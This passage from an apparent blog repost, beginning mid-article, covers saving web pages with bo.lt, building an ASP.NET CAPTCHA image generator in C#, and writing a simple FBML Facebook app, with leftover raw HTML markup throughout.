text-decoration: none;">bo.lt</a>. Just put the URL of any web page, hit the Copy button (or use the bookmarklet) and, within few seconds, an exact replica of the original page will get saved to your online account.</div><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;"><img alt="save web pages" height="265" src="http://img.labnol.org/di/save_web_pages.png" style="border-width: 0px; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px; outline-width: 0px; padding: 0px;" width="575" /></div><h3 style="border-style: none; color: #333333; display: block; font-family: Georgia,'Times New Roman',Times,serif; font-size: 16px; font-style: inherit; margin: 0px 20px 8px 0px; outline-width: 0px; padding: 0px 0px 5px;">Your Personal Internet Archiving Machine</h3><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;">To give you an example, here's <a href="http://img.labnol.org/files/apple.zip" style="border-width: 0px; color: #000099; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px; outline-width: 0px; padding: 0px; text-decoration: none;">a copy</a> of the <a href="http://apple.com/">apple.com</a> homepage that I saved the previous week with the help of <a href="http://bo.lt/">bo.lt</a> – the site's favicon, background images, CSS navigation bars and everything else is preserved with no effort at my end.</div><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;">Once you have saved a page to the <a href="http://bo.lt/">bo.lt</a> cloud, a thumbnail of the page appears in your collection but you can also download a copy of that saved page to your computer as a ZIP file. For that, go to the details section and hit the download button as shown in the above screenshot. You can also capture multiple snapshots of the same page at different intervals just like the Internet Archive's Wayback Machine.</div><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;">To be fair, <a href="http://bo.lt/">bo.lt</a> is more than just an online tool for archiving web page – it lets you visually edit saved pages in the browser, remix them with pictures and comments, and republish. It mirrors all the images, CSS and JS files referenced in a page so even if the source disappears, your copy will continue to look like the original.</div><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;">One more thing. You may also use Bo.lt to save and archive web pages that require login – like your Facebook page. This is much better than capturing <a href="http://labnol.blogspot.com/2006/06/how-to-capture-save-screenshots-of.html" style="border-width: 0px; color: #000099; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px; outline-width: 0px; padding: 0px; text-decoration: none;">screenshot images</a>.</div></div></span><br /><div>(source:<a href="http://www.labnol.org/">http://www.labnol.org</a>)</div>-- <br /><div dir="ltr">Regards,<br />Hardeep Singh<br />(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div><br /></div>

Your Personal Internet Archiving Machine

Build Your Own Internet Archives With Bo.lt Web pages change, or may even disappear, with time and thus the only way to preserve a page fore...

Read more »

Captcha

<div dir="ltr" style="text-align: left;" trbidi="on"><b><br /></b><br /><br /><b>============== >> << Introduction >> <<==============</b><br />CAPTCHA stands for "<b>C</b>ompletely <b>A</b>utomated <b>P</b>ublic <b>T</b>uring test to tell <b>C</b>omputers and <b>H</b>umans <b>A</b>part." What it means is, a program that can tell humans from machines using some type of generated test. A test most people can easily pass but a computer program cannot.<br />You've probably encountered such tests when signing up for an online email or forum account. The form might include an image of distorted text, like that seen above, which you are required to type into a text field.<br /><a name="more"></a><br />The idea is to prevent spammers from using web bots to automatically post form data in order to create email accounts (for sending spam) or to submit feedback comments or guestbook entries containing spam messages. The text in the image is usually distorted to prevent the use of OCR (optical character reader) software to defeat the process. Hotmail, PayPal, Yahoo and a number of blog sites have employed this technique.<br />This article demonstrates how to create such an image and employ it within an ASP.NET web form.<br /><br /><b>============== >> << Background >> <<==============</b><br />You can find more information on CAPTCHA at The CAPTCHA Project and read about its use in foiling purveyors of pills, pr0n and pyramid-schemes in an article from Scientific American entitled Baffling the Bots.<br />Before using this technique however, you should consider how it will affect your site's accessibility to the blind and other visually impaired visitors. PayPal attempts to address this problem on their sign up form by including a link to an audio file, in which a voice spells out the image text.<br />The code presented here produces only an image. But, if you had code to generate an audio file, you could easily integrate it.<b> <br /></b><br /><br /><b>============== >> << Code Begins >> <<==============</b><br /><b>CaptchaImage.cs</b><br />The CaptchaImage object creates an image given parameters for the text to be displayed, the image dimensions and, optionally, the font to use.<br />The heart of the code is the GenerateImage() method, shown below, which creates a bitmap image of the specified width and height. This method is called from the CaptchaImage constructor, so the image is ready as soon as you create a new instance of the object.<br />To create the image, we first fill in the background using a hatched brush (the "dirtier" the image appears, the harder it is for an OCR program to read it).<br />To make the text fit within the image, we start with an initial font size based on the image height and use the Graphics.MeasureString() method to find the resulting dimensions of the drawn text. If the text exceeds the image dimensions, we reduce the font size and test again and again until a suitable font size is found.<br />====================================================================<br /><br />    // Creates the bitmap image.<br /><br />    // ====================================================================<br /><br />    private void GenerateImage()<br />    {<br />      // Create a new 32-bit bitmap image.<br /><br />      Bitmap bitmap = new Bitmap(<br />        this.width,<br />        this.height,<br />        PixelFormat.Format32bppArgb);<br /><br />      // Create a graphics object for drawing.<br /><br />      Graphics g = Graphics.FromImage(bitmap);<br />      g.SmoothingMode = SmoothingMode.AntiAlias;<br />      Rectangle rect = new Rectangle(0, 0, this.width, this.height);<br /><br />      // Fill in the background.<br /><br />      HatchBrush hatchBrush = new HatchBrush(<br />        HatchStyle.SmallConfetti,<br />        Color.LightGray,<br />        Color.White);<br />      g.FillRectangle(hatchBrush, rect);<br /><br />      // Set up the text font.<br /><br />      SizeF size;<br />      float fontSize = rect.Height + 1;<br />      Font font;<br />      // Adjust the font size until the text fits within the image.<br /><br />      do<br />      {<br />        fontSize--;<br />        font = new Font(<br />          this.familyName,<br />          fontSize,<br />          FontStyle.Bold);<br />        size = g.MeasureString(this.text, font);<br />      } while (size.Width > rect.Width);<br /><br />      // Set up the text format.<br /><br />      StringFormat format = new StringFormat();<br />      format.Alignment = StringAlignment.Center;<br />      format.LineAlignment = StringAlignment.Center;<br /><br />      // Create a path using the text and warp it randomly.<br /><br />      GraphicsPath path = new GraphicsPath();<br />      path.AddString(<br />        this.text,<br />        font.FontFamily,<br />        (int) font.Style,<br />        font.Size, rect,<br />        format);<br />      float v = 4F;<br />      PointF[] points =<br />      {<br />        new PointF(<br />          this.random.Next(rect.Width) / v,<br />          this.random.Next(rect.Height) / v),<br />        new PointF(<br />          rect.Width - this.random.Next(rect.Width) / v,<br />          this.random.Next(rect.Height) / v),<br />        new PointF(<br />          this.random.Next(rect.Width) / v,<br />          rect.Height - this.random.Next(rect.Height) / v),<br />        new PointF(<br />          rect.Width - this.random.Next(rect.Width) / v,<br />          rect.Height - this.random.Next(rect.Height) / v)<br />      };<br />      Matrix matrix = new Matrix();<br />      matrix.Translate(0F, 0F);<br />      path.Warp(points, rect, matrix, WarpMode.Perspective, 0F);<br /><br />      // Draw the text.<br /><br />      hatchBrush = new HatchBrush(<br />        HatchStyle.LargeConfetti,<br />        Color.LightGray,<br />        Color.DarkGray);<br />      g.FillPath(hatchBrush, path);<br /><br />      // Add some random noise.<br /><br />      int m = Math.Max(rect.Width, rect.Height);<br />      for (int i = 0; i < (int) (rect.Width * rect.Height / 30F); i++)<br />      {<br />        int x = this.random.Next(rect.Width);<br />        int y = this.random.Next(rect.Height);<br />        int w = this.random.Next(m / 50);<br />        int h = this.random.Next(m / 50);<br />        g.FillEllipse(hatchBrush, x, y, w, h);<br />      }<br /><br />      // Clean up.<br /><br />      font.Dispose();<br />      hatchBrush.Dispose();<br />      g.Dispose();<br /><br />      // Set the image.<br /><br />      this.image = bitmap;<br />    }<br />Once the font is set, we define a GraphicsPath() which essentially converts the text to a set of lines and curves. This can then be distorted using the GraphicsPath.Warp() method with some randomly generated values. The effect is similar to holding a cardboard sign up by opposite corners and giving it a bit of a twist. The resulting path is drawn onto the image, again using a hatch brush to give it a "dirty" appearance.<br />To complete the distortion, small blots are randomly painted over the image. You could experiment with other effect to thwart OCRs, but keep in mind that it should still be legible to humans, some of whom may have visual impairments<br /><b>Default.aspx</b><br />This is a very simple sample web form that contains only a few basic elements, namely an <IMG> tag for the image, a text box and a "Submit" button.<br /><form id="Default" method="post" runat="server">      <br /><img src="JpegImage.aspx"><br><br /><p><br />    <strong>Enter the code shown above:</strong><br><br />    <asp:TextBox id="CodeNumberTextBox" runat="server"></asp:TextBox>        <br />    <asp:Button id="SubmitButton" runat="server" Text="Submit"></asp:Button><br></p><br /><p><em>(Note: If you cannot read the numbers in the above<br><br />        image, reload the page to generate a new one.)</em>      </p>      <br /><p><asp:Label id="MessageLabel" runat="server"></asp:Label></p>    <br /></form><br /><br />Note that the SRC attribute of the <IMG> tag points to the web form JpegImage.aspx.<br /><br />The code-behind for Default.aspx simply generates a random text string for the image and validates that this text was entered by the user when the form is submitted. The key is to store the text string in the Session object.<br /><br />Collapse<br /><br />    private void Page_Load(object sender, System.EventArgs e)    <br />    {      <br />     if (!this.IsPostBack)         // Create a random code and store it in the Session object.<br />     this.Session["CaptchaImageText"] = GenerateRandomCode();       <br />     else      <br />     {        // On a postback, check the user input.         <br />      if (this.CodeNumberTextBox.Text ==this.Session["CaptchaImageText"].ToString())        <br />      {          // Display an informational message.           <br />       this.MessageLabel.CssClass = "info";          <br />       this.MessageLabel.Text = "Correct!";        <br />      }       <br />      else <br />      {          // Display an error message.           <br />       this.MessageLabel.CssClass = "error";          <br />       this.MessageLabel.Text = "ERROR: Incorrect,try again.";//Clear input and create a new random code           <br />       this.CodeNumberTextBox.Text = "";          <br />       this.Session["CaptchaImageText"] = GenerateRandomCode();        <br />      }      <br />     }    <br />    }<br /><br />The reason for storing the text string in the Session object is so that it can be accessed by JpegImage.aspx.<br /><br />JpegImage.aspx<br /><br />For this web form, no HTML is needed (what's there is just the default code generated by Visual Studio when the file was created). Instead of HTML, the code will produce a JPEG image.In the code-behind, we first create a CaptchaImage object, using the text retrieved from the Session object. This creates a bitmap image for us.<br /><br />    private void Page_Load(object sender, System.EventArgs e)    <br />    {      // Create a CAPTCHA image using the text stored in the Session object.       <br />     CaptchaImage ci = new CaptchaImage(this.Session["CaptchaImageText"].ToString(),200, 50, "CenturySchoolbook");       // Change the response headers to output a JPEG image.<br />     this.Response.Clear();      <br />     this.Response.ContentType = "image/jpeg";   // Write the image to the response stream in JPEG format.<br />     ci.Image.Save(this.Response.OutputStream, ImageFormat.Jpeg); // Dispose of the CAPTCHA image object.<br />     ci.Dispose();    <br />    }<br /><br />We then modify the HTTP response headers to set the Content-type to "image/jpeg" so the client browser will know we are sending an image.The last step is to retrieve the bitmap image from CaptchaImage.Image and write it to the HTTP response output stream in JPEG format. Fortunately, the Save() method of the Bitmap object makes this simple. Any other supported image format could be used as well so long as the Content-type header is set accordingly.</div>

Captcha

============== >> << Introduction >> <<============== CAPTCHA stands for " C ompletely A utomated P ublic T uri...

Read more »

Write Your Own Facebook App in 5 Minutes

<div dir="ltr" style="text-align: left;" trbidi="on"><span class="Apple-style-span" style="background-color: white; color: #333333; font-family: Verdana,Geneva,sans-serif; font-size: 12px; line-height: 18px;"><h1 style="border-width: 0px; color: #282828; font-family: Georgia,serif; font-size: 26px; font-style: inherit; letter-spacing: -1px; line-height: 31px; margin: 0px; outline-width: 0px; padding: 0px;">Write Your Own Facebook App in 5 Minutes</h1><div><br /></div><div class="post" id="article" style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;"><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;">Do you know that the <a href="http://www.facebook.com/apps/directory.php" style="border-width: 0px; color: #000099; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px; outline-width: 0px; padding: 0px; text-decoration: none;">Facebook Apps Directory</a> now contains more than <a href="http://www.facebook.com/press/info.php?statistics" style="border-width: 0px; color: #000099; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px; outline-width: 0px; padding: 0px; text-decoration: none;">350,000</a>^ Facebook applications for their 300 million users.</div><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;">Whether you are looking to embed presentations in your Facebook profile or want to share your favorite books and movies with friends or just want to spend time playing a word game with strangers, chances are that there already exists a Facebook app to solve your problem.</div><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;">However if you are feeling a little more adventurous and want to develop your own Facebook App that works the way you want* and doesn't carry any third-party branding or advertising, here's a an easy tutorial to help you get started.</div><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;">[*] Check out <a href="http://apps.facebook.com/digitalinspiration/" style="border-width: 0px; color: #000099; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px; outline-width: 0px; padding: 0px; text-decoration: none;">apps.facebook.com/digitalinspiration</a>.</div><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;">[^] For comparison sake, the Apple iTunes store is relatively bigger as it has about <a href="http://www.apple.com/pr/library/2009/09/28appstore.html" style="border-width: 0px; color: #000099; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px; outline-width: 0px; padding: 0px; text-decoration: none;">85,000</a>apps for their 50 million iPhone + iPod Touch users worldwide.</div><h2 style="border-style: none; color: #282828; display: block; font-family: Georgia,'Times New Roman',Times,serif; font-size: 18px; font-style: inherit; margin: 0px 20px 8px 0px; outline-width: 0px; padding: 0px 0px 5px;">How to Write a Facebook Application in 5 minutes</h2><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;"><b style="border-width: 0px; font-family: inherit; font-size: 12px; font-style: inherit; font-weight: bold; margin: 0px; outline-width: 0px; padding: 0px;">The Plan: </b>We'll write a basic Facebook app that will have links to our social profiles and a Google site search box. Later, you can expand the idea to build slightly more complex applications that contain RSS feeds, video clips, etc.</div><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;"><span class="youtube" style="border-width: 0px; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px; outline-width: 0px; padding: 0px;"></span></div><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;"><b style="border-width: 0px; font-family: inherit; font-size: 12px; font-style: inherit; font-weight: bold; margin: 0px; outline-width: 0px; padding: 0px;">Things you need: </b>You don't have to be a "geek" for writing basic Facebook Applications. All you need is some knowledge of web programming languages and some free space on a web server where you'll host your Facebook app (which are nothing but simple PHP files).</div><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;"><img align="right" alt="facebook new application" border="0" height="87" src="http://img.labnol.org/di/facebook_new.png" style="border-width: 0px; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 10px 10px; outline-width: 0px; padding: 0px;" width="335" />OK, let's get started.</div><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;"><b style="border-width: 0px; font-family: inherit; font-size: 12px; font-style: inherit; font-weight: bold; margin: 0px; outline-width: 0px; padding: 0px;">Step 1</b>. Assuming that you already have an account on Facebook, add the <a href="http://www.facebook.com/developers" style="border-width: 0px; color: #000099; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px; outline-width: 0px; padding: 0px; text-decoration: none;">Developer application</a> to your Facebook profile and then click "Set Up New Application".</div><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;"><b style="border-width: 0px; font-family: inherit; font-size: 12px; font-style: inherit; font-weight: bold; margin: 0px; outline-width: 0px; padding: 0px;">Step 2</b>. Give your new Facebook App a name, agree to the terms and then upload some image for your application logo.</div><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;"><b style="border-width: 0px; font-family: inherit; font-size: 12px; font-style: inherit; font-weight: bold; margin: 0px; outline-width: 0px; padding: 0px;">Step 3</b>. From the Application settings, choose Canvas and set FBML as the rendering method. The other option is IFRAME but we'll use FBML for the moment to keep things simple.</div><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;"><img align="right" alt="facebook app preview" border="0" height="121" src="http://img.labnol.org/di/preview.png" style="border-width: 0px; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 10px 10px; outline-width: 0px; padding: 0px;" title="facebook app preview" width="144" /><b style="border-width: 0px; font-family: inherit; font-size: 12px; font-style: inherit; font-weight: bold; margin: 0px; outline-width: 0px; padding: 0px;">Step 4</b>. Using any WYSIWYG HTML editor (or even notepad), write the content that you want to display inside your Facebook application.</div><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;">In this example, we are adding just two hyperlinked images with a Google search box and therefore the code looks something like this:</div><pre style="background-color: #fbfbfb; border: 1px solid rgb(204, 204, 204); clear: both; color: #333333; display: block; font: 12px/18px 'courier new',courier,sans-serif; margin: 1.5em; outline-width: 0px; overflow: auto; padding: 10px; width: auto;"><p> <a href="<a href="http://twitter.com/labnol">http://twitter.com/labnol</a>"> <img src="<a href="http://labnol.org/twitter.png">http://labnol.org/twitter.png</a>"/></a> <a href="<a href="http://www.youtube.com/labnol">http://www.youtube.com/labnol</a>"> <img src="<a href="http://labnol.org/youtube.png">http://labnol.org/youtube.png</a>"/></a> </p> <form action="<a href="http://search.labnol.org/">http://search.labnol.org/</a>"> <input type="text" name="q" size="15" /> <input type="submit" name="s" value="Search" /> </form></pre><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;"><b style="border-width: 0px; font-family: inherit; font-size: 12px; font-style: inherit; font-weight: bold; margin: 0px; outline-width: 0px; padding: 0px;">Step 5</b>. Log in to your web server where you'll be hosting the Facebook App and create a sub-directory called "facebook". So if you domain is <a href="http://example.com/">example.com</a>, the Facebook app can be accessed from <a href="http://example.com/facebook">example.com/facebook</a>.</div><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;">Under the facebook directory, download (wget) the <a href="http://img.labnol.org/files/fbook.php.txt" style="border-width: 0px; color: #000099; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px; outline-width: 0px; padding: 0px; text-decoration: none;">application template</a> and rename the file to index.php. Replace the API Key and the Secret key in index.php with real values and also copy-paste the HTML (that you created in Step 4) into the index.php file.</div><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;"><b style="border-width: 0px; font-family: inherit; font-size: 12px; font-style: inherit; font-weight: bold; margin: 0px; outline-width: 0px; padding: 0px;">Step 6</b>. While you are inside the "facebook" directory, download the <a href="http://svn.facebook.com/svnroot/platform/clients/packages/facebook-platform.tar.gz" style="border-width: 0px; color: #000099; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px; outline-width: 0px; padding: 0px; text-decoration: none;">Facebook library</a>(through wget) and extract the files in this archive via gunzip and tar. Now execute the following command to move facebook.php and other library files outside the facebook-platform subdirectory.</div><pre style="background-color: #fbfbfb; border: 1px solid rgb(204, 204, 204); clear: both; color: #333333; display: block; font: 12px/18px 'courier new',courier,sans-serif; margin: 1.5em; outline-width: 0px; overflow: auto; padding: 10px; width: auto;">$ mv facebook-platform/client/facebook*.php .</pre><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;"><b style="border-width: 0px; font-family: inherit; font-size: 12px; font-style: inherit; font-weight: bold; margin: 0px; outline-width: 0px; padding: 0px;">Step 7</b>. We are almost done. Go back to your Facebook Application page in the browser, click "Edit Settings" and set the values for Canvas.</div><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;"><img alt="facebook_canvas" border="0" height="120" src="http://img.labnol.org/di/facebook_canvas.png" style="border-width: 0px; display: inline; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px; outline-width: 0px; padding: 0px;" title="facebook_canvas" width="541" /></div><ul style="border-width: 0px; font-family: inherit; font-size: 12px; font-style: inherit; list-style-position: inside; list-style-type: square; margin: 0px 0px 1.2em; outline-width: 0px; padding: 0px;"><li style="border-width: 0px; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px; outline-width: 0px; padding: 0px;"> The <b style="border-width: 0px; font-family: inherit; font-size: 12px; font-style: inherit; font-weight: bold; margin: 0px; outline-width: 0px; padding: 0px;">Canvas Page URL</b> - choose a nice vanity URL for your Facebook application.</li><li style="border-width: 0px; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px; outline-width: 0px; padding: 0px;"> The <b style="border-width: 0px; font-family: inherit; font-size: 12px; font-style: inherit; font-weight: bold; margin: 0px; outline-width: 0px; padding: 0px;">Canvas Callback URL</b> - location of the web service where your files are hosted (in our case, this will be <a href="http://example.com/facebook">example.com/facebook</a>).</li></ul><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;"><b style="border-width: 0px; font-family: inherit; font-size: 12px; font-style: inherit; font-weight: bold; margin: 0px; outline-width: 0px; padding: 0px;">That's it. </b>Anyone can now add your Facebook app to their profiles either in the Boxes tab or in the sidebar of the main profile page.</div><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;">Check the "Stay Connected" box on this <a href="http://www.facebook.com/digital.inspiration" style="border-width: 0px; color: #000099; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px; outline-width: 0px; padding: 0px; text-decoration: none;"><b style="border-width: 0px; font-family: inherit; font-size: 12px; font-style: inherit; font-weight: bold; margin: 0px; outline-width: 0px; padding: 0px;">Facebook page</b></a> for a working demo.</div><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;"><a href="http://apps.facebook.com/digitalinspiration/" style="border-width: 0px; color: #000099; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px; outline-width: 0px; padding: 0px; text-decoration: none;"><img alt="facebook_sample_apps" border="0" height="387" src="http://img.labnol.org/di/facebook_sample_apps.png" style="border-width: 0px; display: inline; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px; outline-width: 0px; padding: 0px;" title="facebook_sample_apps" width="538" /></a></div><h3 style="border-style: none; color: #333333; display: block; font-family: Georgia,'Times New Roman',Times,serif; font-size: 16px; font-style: inherit; margin: 0px 20px 8px 0px; outline-width: 0px; padding: 0px 0px 5px;">Extend your Facebook Apps</h3><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;">We just created a basic app but you can make it more useful with simple modifications. Some ideas:</div><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;"><b style="border-width: 0px; font-family: inherit; font-size: 12px; font-style: inherit; font-weight: bold; margin: 0px; outline-width: 0px; padding: 0px;">#1</b>. You can incorporate RSS feeds in your Facebook apps though a feed parsing library like <a href="http://simplepie.org/" style="border-width: 0px; color: #000099; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px; outline-width: 0px; padding: 0px; text-decoration: none;">SimplePie</a>.</div><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;"><b style="border-width: 0px; font-family: inherit; font-size: 12px; font-style: inherit; font-weight: bold; margin: 0px; outline-width: 0px; padding: 0px;">#2</b>. You can track your Facebook application usage via Google Analytics. Just add the following code in the PHP code.</div><pre style="background-color: #fbfbfb; border: 1px solid rgb(204, 204, 204); clear: both; color: #333333; display: block; font: 12px/18px 'courier new',courier,sans-serif; margin: 1.5em; outline-width: 0px; overflow: auto; padding: 10px; width: auto;"><fb:google-analytics uacct="UA-12345-xx" /></pre><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;"><b style="border-width: 0px; font-family: inherit; font-size: 12px; font-style: inherit; font-weight: bold; margin: 0px; outline-width: 0px; padding: 0px;">#3</b>. You can use the same <a href="http://wiki.developers.facebook.com/index.php/Facebook_Styles" style="border-width: 0px; color: #000099; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px; outline-width: 0px; padding: 0px; text-decoration: none;">CSS Styles</a> and color schemes for your Facebook Apps that are used on the main Facebook site.</div><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;"><b style="border-width: 0px; font-family: inherit; font-size: 12px; font-style: inherit; font-weight: bold; margin: 0px; outline-width: 0px; padding: 0px;">#4</b>. If you want to embed YouTube video or Slideshare presentations in your Facebook apps (as <a href="http://apps.facebook.com/digitalinspiration/present.php" style="border-width: 0px; color: #000099; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px; outline-width: 0px; padding: 0px; text-decoration: none;">shown here</a>), you should use the <<a href="http://wiki.developers.facebook.com/index.php/Fb:swf" style="border-width: 0px; color: #000099; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px; outline-width: 0px; padding: 0px; text-decoration: none;">fb:swf</a>> tag.</div><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;"><b style="border-width: 0px; font-family: inherit; font-size: 12px; font-style: inherit; font-weight: bold; margin: 0px; outline-width: 0px; padding: 0px;">#5</b>. Instead of using a plain search box, you should consider using the Google AJAX search API (<a href="http://apps.facebook.com/digitalinspiration/search.php?q=facebook" style="border-width: 0px; color: #000099; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px; outline-width: 0px; padding: 0px; text-decoration: none;">see example</a>) as that will let you customize the look and feel of search results to match other elements on the Facebook page.</div></div></span>-- <br /><div dir="ltr">Regards,<br />Hardeep Singh<br />(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div><br /></div>

Write Your Own Facebook App in 5 Minutes

Write Your Own Facebook App in 5 Minutes Do you know that the  Facebook Apps Directory  now contains more than  350,000 ^ Facebook applicati...

Read more »